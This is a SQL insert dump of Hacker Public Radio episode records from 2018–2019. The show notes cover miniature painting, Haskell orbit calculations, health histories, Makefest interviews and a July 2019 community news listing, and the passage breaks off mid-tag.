(2588,'2018-07-04','Miniature painting',1740,'tuturto rambles about how to paint miniatures while painting some toy soldiers','<p>tuturto rambles about miniature painting while painting some ancient British units (horses for chariots to be specific) for De Bellis Antiquitatis.</p>\r\n<ul>\r\n<li><p>De Bellis Antiquitatis is a quick to learn, quick to play war game for ancient period (and a bit more) - <a href=\"https://en.wikipedia.org/wiki/De_Bellis_Antiquitatis\" class=\"uri\">https://en.wikipedia.org/wiki/De_Bellis_Antiquitatis</a></p></li>\r\n<li><p>Army Painter is paint, brush and basing manufacturer - <a href=\"https://www.thearmypainter.com/\" class=\"uri\">https://www.thearmypainter.com/</a></p></li>\r\n<li><p>Osprey Publishing specializes in publishing books on modeling and history - <a href=\"https://ospreypublishing.com/\" class=\"uri\">https://ospreypublishing.com/</a></p></li>\r\n</ul>',364,114,0,'CC-BY-SA','miniatures painting',0,0,1),
(2583,'2018-06-27','Random Rant',917,'Rant on how US sound recordings copyright laws are weird & how I miss Juiced Penguin','<h3 id=\"citations\">Citations</h3>\r\n<ul>\r\n<li><a href=\"https://www.copyright.gov/docs/sound/\" class=\"uri\">https://www.copyright.gov/docs/sound/</a></li>\r\n<li><a href=\"https://www.infotoday.com/searcher/sep12/Hirtle--When-Is-1923-Going-to-Arrive-and-Other-Complications-of-the-U.S.-Public-Domain.shtml\" class=\"uri\">https://www.infotoday.com/searcher/sep12/Hirtle--When-Is-1923-Going-to-Arrive-and-Other-Complications-of-the-U.S.-Public-Domain.shtml</a></li>\r\n</ul>\r\n',354,0,1,'CC-BY-SA','Juiced Penguin,copyright,public domain',0,0,1),
(2599,'2018-07-19','Fitting a 3.5mm adapter to a bluetooth receiver.',489,'Ken cobbles together a bluetooth adapter for any 3.5mm headphone','<p>\r\nThere was a time when the perfect lightweight podcast listening station was a <a href=\"https://en.wikipedia.org/wiki/SanDisk_Sansa#Sansa_Clip\">sansa clip</a> running <a href=\"https://www.rockbox.org/\">Rockbox</a> connected to a set of <a href=\"https://www.download.p4c.philips.com/files/s/she3600_97/she3600_97_pss_aenid.pdf\">SHE3600/97 Philips In-Ear Headphones</a>.</p>\r\n<p>\r\nAlas Philips stopped producing the SHE3600/97. SanDisk reduced the specs of the clips, so Rockbox is no longer supported. We\'re left without a flexible option to listening to podcasts.\r\n</p>\r\n<p>\r\nOn the other hand the price of Android phones have fallen to sub €50 range, and <a href=\"https://www.hema.nl/winkel/vrije-tijd-kantoor/school-kantoor/media-computer/elektronica-accessoires/bluetooth-sport-oortelefoon-(39620015)?variant=39620015\">blue tooth headsets</a> can be had for €25, there is a possibility to have the portability while keeping the cost low.\r\n</p>\r\n<p>\r\nI set out to convert the bluetooth headset to a accept generic 3.5mm sockets.\r\n</p>\r\n<p>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2599/hema-earbud-before-and-during.jpg\" /><br />\r\nA new ear bud set with crappy in ear buds, and the hacked set.\r\n</p>\r\n<p>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2599/bluetooth-enabled-philips-shp2500.jpg\" /><br />\r\nPlays fine with large over ear headphones.\r\n</p>\r\n<p>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2599/bluetooth-with-patent-pending-earbuds.jpg\" /><br />\r\nAlso with small in ear buds, complete with <a href=\"https://hackerpublicradio.org/eps.php?id=1801\">Patent Pending</a> ear identifier\r\n</p>\r\n<p>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2599/motherload.jpg\" /><br />\r\nSomething to read <a href=\"https://www.amazon.com/dp/1549676938?tag=viglink20248-20\">Motherload</a>\r\n</p>\r\n',30,0,1,'CC-BY-SA','life hack, earphone, bluetooth',0,0,1),
(2589,'2018-07-05','Saving Money: a response to Klaatu\'s Personal Finance Series',867,'A response to Klaatu\'s very nice series about personal finance.','<h2>Links</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/403(b)\">403(b) Tax-Sheltered Annuity Plans</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/United_States_Savings_Bonds\">United States Savings Bonds</a></li>\r\n<li><a href=\"https://www.classicguitar.com/robert-ruck-usarobert-ruck-usa/\">Guitar Maker Robert Ruck</a></li>\r\n</ul>\r\n',238,0,0,'CC-BY-SA','personal finance, money, saving, retirement',0,0,1),
(2593,'2018-07-11','Intro to De Bellis Antiquitatis',1648,'Short intro to tabletop wargame called DBA','<p>In this episode tuturto paints rambles about De Bellis Antiquitatis while painting more toy soldiers, so expect long pauses and missing thoughts as he tries to do two things at the same time.</p>\r\n<p>De Bellis Antiquitatis (or DBA for short): <a href=\"https://en.wikipedia.org/wiki/De_Bellis_Antiquitatis\" class=\"uri\">https://en.wikipedia.org/wiki/De_Bellis_Antiquitatis</a></p>\r\n<p>While the original site seems to be gone, WADBAG unofficial guide to DBA can be found at: <a href=\"https://www.wargames-romania.ro/wordpress/wargames/de-bellis-antiquitatis-dba/the-unofficial-guide-to-dba/\" class=\"uri\">https://www.wargames-romania.ro/wordpress/wargames/de-bellis-antiquitatis-dba/the-unofficial-guide-to-dba/</a></p>\r\n',364,95,0,'CC-BY-SA','tabletop gaming',0,0,1),
(2591,'2018-07-09','International Troubleshooting',1815,'﻿NYbill troubleshoots a DIY kit of Ken Fallon’s.','<p>NYbill troubleshoots a DIY kit of Ken Fallon\'s.</p>\r\n<p>The new toy:</p>\r\n<p>AmScope SE400-Z<br />\r\n(The microscope has a nice working height underneath it so you can get your hands and tools in there.)</p>\r\n<p>The offending chip:</p>\r\n<p><a href=\"https://www.mccsemi.com/up_pdf/SRV05-4L(SOT23-6L).pdf\" class=\"uri\">https://www.mccsemi.com/up_pdf/SRV05-4L(SOT23-6L).pdf</a></p>\r\n<p>Pics for the episode:</p>\r\n<p><a href=\"https://media.gunmonkeynet.net/u/nybill/collection/international-troubleshooting/\" class=\"uri\">https://media.gunmonkeynet.net/u/nybill/collection/international-troubleshooting/</a></p>\r\n',235,103,0,'CC-BY-SA','DIY, Kit, Electronics, Troubleshooting',0,0,1),
(2605,'2018-07-27','The Eyes Have It',599,'My history with vision issues and how I have dealt with them.','<p>My history with vision issues started when I was 3 years old, and I am still dealing with some issues. Fortunately, things are well-controlled and I am doing well.</p>\r\n<ul>\r\n<li><a href=\"https://www.mayoclinic.org/diseases-conditions/diabetic-retinopathy/symptoms-causes/syc-20371611\" class=\"uri\">https://www.mayoclinic.org/diseases-conditions/diabetic-retinopathy/symptoms-causes/syc-20371611</a></li>\r\n<li><a href=\"https://www.palain.com/?page_id=338\" class=\"uri\">https://www.palain.com/?page_id=338</a></li>\r\n<li><a href=\"https://www.webmd.com/eye-health/tc/posterior-vitreous-detachment-topic-overview\" class=\"uri\">https://www.webmd.com/eye-health/tc/posterior-vitreous-detachment-topic-overview</a></li>\r\n<li><a href=\"https://nei.nih.gov/health/maculardegen/armd_facts\" class=\"uri\">https://nei.nih.gov/health/maculardegen/armd_facts</a></li>\r\n<li><a href=\"https://www.palain.com/?page_id=340\" class=\"uri\">https://www.palain.com/?page_id=340</a></li>\r\n</ul>',198,100,0,'CC-BY-SA','Health, Medicine, Eye Care, Vision',0,0,1),
(2592,'2018-07-10','Tech Talk With Allison',3010,'This is a talk with Allison about webites, ruby, os design and other such things. ','<p>\r\n<img src=\"https://theadesilva.com/hpr_allison.jpg\"/><br/><br/>\r\n\r\nCome join us and listen to Allison talk about her tech!!!  This talk includes subjects like websites, ruby, os design and other such things.<br/>\r\n</p>\r\n<p>Allison\'s email address: <a href=\"mailto:allison@isams.net\" target=\"_top\">allison@isams.net</a></p>\r\n',115,0,0,'CC-BY-SA','os, ruby, webdev',0,0,1),
(2615,'2018-08-10','Cancer',1043,'My history with cancer and how I have dealt with it.','<p>I had surgery for cancer in 2010, and family history of cancer, which means certain things have had to be done.</p>\r\n<ul>\r\n<li><a href=\"https://www.palain.com/?page_id=338\" class=\"uri\">https://www.palain.com/?page_id=338</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Gleason_grading_system\" class=\"uri\">https://en.wikipedia.org/wiki/Gleason_grading_system</a></li>\r\n<li><a href=\"https://www.cancer.org/cancer/prostate-cancer/treating.html\" class=\"uri\">https://www.cancer.org/cancer/prostate-cancer/treating.html</a></li>\r\n<li><a href=\"https://www.palain.com/?page_id=344\" class=\"uri\">https://www.palain.com/?page_id=344</a></li>\r\n</ul>',198,100,0,'CC-BY-SA','Health, Medicine, Cancer, Prostate, Colon, Lungs',0,0,1),
(2598,'2018-07-18','Calculating planetary orbits in Haskell',1711,'tuturto talks about calculating planetary orbits','<p>Function signatures (it might or might not be helpful to have these at hand while listening):</p>\r\n<ul>\r\n<li>Helpers:</li>\r\n</ul>\r\n<pre><code>    radToDeg :: Floating a =&gt; a -&gt; a\r\n    degToRad :: Floating a =&gt; a -&gt; a\r\n    clamp :: Float -&gt; Float</code></pre>\r\n<ul>\r\n<li><p>Time:</p></li>\r\n</ul>\r\n<pre><code>    day :: Int -&gt; Int -&gt; Int -&gt; Float -&gt; Day Float</code></pre>\r\n<ul>\r\n<li>Orbital parameters:</li>\r\n</ul>\r\n<pre><code>    longitudeOfAscendingNode :: Orbit body center =&gt; body -&gt; center -&gt; Day d -&gt; LongAscNode body center\r\n    inclinationToEcliptic :: Orbit body center =&gt; body -&gt; center -&gt; Day d -&gt; InclToEcl body center\r\n    argumentOfPeriapsis :: Orbit body center =&gt; body -&gt; center -&gt; Day d -&gt; ArgPeri body center\r\n    semiMajorAxis :: Orbit body center =&gt; body -&gt; center -&gt; Day d -&gt; SemiMajor body center\r\n    eccentricity :: Orbit body center =&gt; body -&gt; center -&gt; Day d -&gt; Ecc body center\r\n    meanAnomaly :: Orbit body center =&gt; body -&gt; center -&gt; Day d -&gt; MeanAno body center</code></pre>\r\n<ul>\r\n<li>Calculating location on orbital plane:</li>\r\n</ul>\r\n<pre><code>    eccAnomaly :: MeanAno a b -&gt; Ecc a b -&gt; EccAnomaly a b\r\n    trueAnomaly :: EccAnomaly a b -&gt; Ecc a b -&gt; TrueAnomaly a b\r\n    dist :: EccAnomaly a b -&gt; Ecc a b -&gt; SemiMajor a b -&gt; Distance a b</code></pre>\r\n<ul>\r\n<li>Translating between coordinate systems:</li>\r\n</ul>\r\n<pre><code>    toEclCoord :: TrueAnomaly a b -&gt; Distance a b -&gt; LongAscNode a b -&gt; ArgPeri a b -&gt; InclToEcl a b -&gt; EclCoord a b\r\n    toEqCoordinates :: EclCoord body Earth -&gt; Day Float -&gt; EqCoord body</code></pre>\r\n<p>Some helpful links:</p>\r\n<ul>\r\n<li>Guide by Paul Schlyter - <a href=\"https://www.stjarnhimlen.se/comp/ppcomp.html\" class=\"uri\">https://www.stjarnhimlen.se/comp/ppcomp.html</a></li>\r\n<li>Sample calculations by Paul Schlyter - <a href=\"https://www.stjarnhimlen.se/comp/tutorial.html\" class=\"uri\">https://www.stjarnhimlen.se/comp/tutorial.html</a></li>\r\n<li>tuturto\'s blog post - <a href=\"https://engineersjourney.wordpress.com/2018/06/29/planetary-orbits-and-haskell/\" class=\"uri\">https://engineersjourney.wordpress.com/2018/06/29/planetary-orbits-and-haskell/</a></li>\r\n<li>Definition of orbital elements in Wikipedia - <a href=\"https://en.wikipedia.org/wiki/Orbital_elements\" class=\"uri\">https://en.wikipedia.org/wiki/Orbital_elements</a></li>\r\n<li>Units of angle in Wikipedia - <a href=\"https://en.wikipedia.org/wiki/Degree_(angle)\" class=\"uri\">https://en.wikipedia.org/wiki/Degree_(angle)</a> and <a href=\"https://en.wikipedia.org/wiki/Radian\" class=\"uri\">https://en.wikipedia.org/wiki/Radian</a></li>\r\n</ul>\r\n',364,107,0,'CC-BY-SA','haskell,astronomy',0,0,1),
(2601,'2018-07-23','Liverpool Makerfest 2018',634,'This is an interview with Chris Dell','<p>This is the first in a series of interviews carried out at Liverpool Makefest 2018</p>\r\n<p>This first interview is with Chris Dell about EduBlocks</p>\r\n<ul>\r\n<li><p><a href=\"https://lpoolmakefest.org/\" class=\"uri\">https://lpoolmakefest.org/</a></p></li>\r\n<li><p><a href=\"https://edublocks.org/\" class=\"uri\">https://edublocks.org/</a></p></li>\r\n</ul>\r\n',338,78,0,'CC-BY-SA','Liverpool Makefest 2018, EduBlocks',0,0,1),
(2606,'2018-07-30','Liverpool Makefest 2018 - interview with Dan Lynch',520,'This is an interview with Dan Lynch one of this year\'s Makefest organisers','<p>Another interview from Liverpool Makefest 2018 this time with Dan Lynch of Linux Outlaws and Floss Weekly</p>\r\n<ul>\r\n<li><p><a href=\"https://lpoolmakefest.org/\" class=\"uri\">https://lpoolmakefest.org/</a></p></li>\r\n<li><p><a href=\"https://makefest.podfactory.org/\" class=\"uri\">https://makefest.podfactory.org/</a></p></li>\r\n<li><p><a href=\"https://twit.tv/shows/floss-weekly\" class=\"uri\">https://twit.tv/shows/floss-weekly</a></p></li>\r\n<li><p><a href=\"https://sixgun.org/linuxoutlaws/\" class=\"uri\">https://sixgun.org/linuxoutlaws/</a></p></li>\r\n</ul>\r\n',338,78,0,'CC-BY-SA','Liverpool Makefest 2018, Dan Lynch, Linux Outlaws, Floss Weekly',0,0,1),
(2871,'2019-08-05','HPR Community News for July 2019',3794,'HPR Volunteers talk about shows released and comments posted in July 2019','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=379\" target=\"_blank\">mightbemike</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2846\" target=\"_blank\">2846</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-07-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2846\" target=\"_blank\">HPR Community News for June 2019</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2847\" target=\"_blank\">2847</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-07-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2847\" target=\"_blank\">earbuds</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2848\" target=\"_blank\">2848</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-07-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2848\" target=\"_blank\">Random numbers in Haskell</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2849\" target=\"_blank\">2849</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-07-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2849\" target=\"_blank\">HPR NYE Show 2018-2019 part 5</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2850\" target=\"_blank\">2850</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-07-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2850\" target=\"_blank\">NIST Cybersecurity Framework</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2851\" target=\"_blank\">2851</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-07-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2851\" target=\"_blank\">An introduction to the work of fire fighters</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2852\" target=\"_blank\">2852</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-07-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2852\" target=\"_blank\">Gnu Awk - Part 16</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2853\" target=\"_blank\">2853</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-07-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2853\" target=\"_blank\">Feeding the beast</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=309\" target=\"_blank\">folky</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2854\" target=\"_blank\">2854</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-07-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2854\" target=\"_blank\">Telling myself something In The Morning</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\" target=\"_blank\">Jezra</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2855\" target=\"_blank\">2855</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-07-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2855\" target=\"_blank\">HPR NYE Show 2018-2019 part 6</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2856\" target=\"_blank\">2856</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-07-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2856\" target=\"_blank\">Mint Mobile Security Rant</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2857\" target=\"_blank\">2857</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-07-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2857\" target=\"_blank\">Creating CounterParty Collectible Tokens for the Bitcorn Game</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=379\" target=\"_blank\">mightbemike</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2858\" target=\"_blank\">2858</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-07-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2858\" target=\"_blank\">Vehicle designer for a space game</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2859\" target=\"_blank\">2859</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-07-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2859\" target=\"_blank\">HPR NYE Show 2018-2019 part 7</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2860\" target=\"_blank\">2860</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-07-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2860\" target=\"_blank\">Encryption and Quantum Computing</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2861\" target=\"_blank\">2861</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-07-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2861\" target=\"_blank\">Safety Razors</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2862\" target=\"_blank\">2862</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-07-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2862\" target=\"_blank\">Art vs. Commerce In Storytelling</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2863\" target=\"_blank\">2863</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-07-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2863\" target=\"_blank\">Simplified application architectures for improved security</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=246\" target=\"_blank\">Beeza</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2864\" target=\"_blank\">2864</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-07-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2864\" target=\"_blank\">One weird trick to add a --help option to your awk scripts</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2865\" target=\"_blank\">2865</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-07-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2865\" target=\"_blank\">The YouTube channels I really like</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2866\" target=\"_blank\">2866</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-07-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2866\" target=\"_blank\">Intro to Bitcoin for techies</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=379\" target=\"_blank\">mightbemike</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2867\" target=\"_blank\">2867</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-07-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2867\" target=\"_blank\">The Kenwood TS940S Automatic Tuning Unit</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2868\" target=\"_blank\">2868</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-07-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2868\" target=\"_blank\">Custom data with Persistent</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 13 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 2 comments on\n2 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2787#comments\" target=\"_blank\">hpr2787</a></strong>\n(2019-04-09) \"<em>NodeJS Part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2787#2\" target=\"_blank\">Comment 2</a>:\noperat0r on 2019-07-09:\n\"Part2 ?\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=438#comments\" target=\"_blank\">hpr438</a></strong>\n(2009-09-05) \"<em>Podcasts I Listen To</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=77\" target=\"_blank\">Dave Yates</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=438#1\" target=\"_blank\">Comment 1</a>:\nViper on 2019-07-03:\n\"Archive of podcasts\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 11 comments on 4 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2851#comments\" target=\"_blank\">hpr2851</a></strong>\n(2019-07-08) \"<em>An introduction to the work of fire fighters</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2851#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2019-07-08:\n\"Cars parked over the put\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2851#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2019-07-08:\n\"I loved the show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2852#comments\" target=\"_blank\">hpr2852</a></strong>\n(2019-07-09) \"<em>Gnu Awk - Part 16</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2852#1\" target=\"_blank\">Comment 1</a>:\ntuturto on 2019-07-09:\n\"thanks\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2852#2\" target=\"_blank\">Comment 2</a>:\nHipstre on 2019-07-09:\n\"Thank You!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2852#3\" target=\"_blank\">Comment 3</a>:\nnorrist on 2019-07-09:\n\"HPR Epic\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2852#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2019-07-13:\n\"Many thanks for the kind words\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2854#comments\" target=\"_blank\">hpr2854</a></strong>\n(2019-07-11) \"<em>Telling myself something In The Morning</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\" target=\"_blank\">Jezra</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2854#1\" target=\"_blank\">Comment 1</a>:\ntuturto on 2019-07-11:\n\"Bagpipes for the win!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2854#2\" target=\"_blank\">Comment 2</a>:\nDave Beck on 2019-07-18:\n\"Rusted Pipes\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2854#3\" target=\"_blank\">Comment 3</a>:\njezra on 2019-07-18:\n\"pipes up!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2859#comments\" target=\"_blank\">hpr2859</a></strong>\n(2019-07-18) \"<em>HPR NYE Show 2018-2019 part 7</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2859#1\" target=\"_blank\">Comment 1</a>:\ndodddummy on 2019-07-29:\n\"I disagree with just about all the opinions expressed in this episode.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2859#2\" target=\"_blank\">Comment 2</a>:\ndodddummy on 2019-07-29:\n\"1st hour, that is.\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-July/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-July/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"ohio-linuxfest-conference-cfp\">Ohio LinuxFest Conference CFP</h3>\n<p>From Susan Rose, Social Media Manager for OLF:</p>\n<blockquote>\n<p>Dear Open Source Fans, Students and Professionals:</p>\n<p>The 2019 Ohio LinuxFest is looking for presentations on Friday and Saturday, November 1 and 2. Please visit the CFP page <a 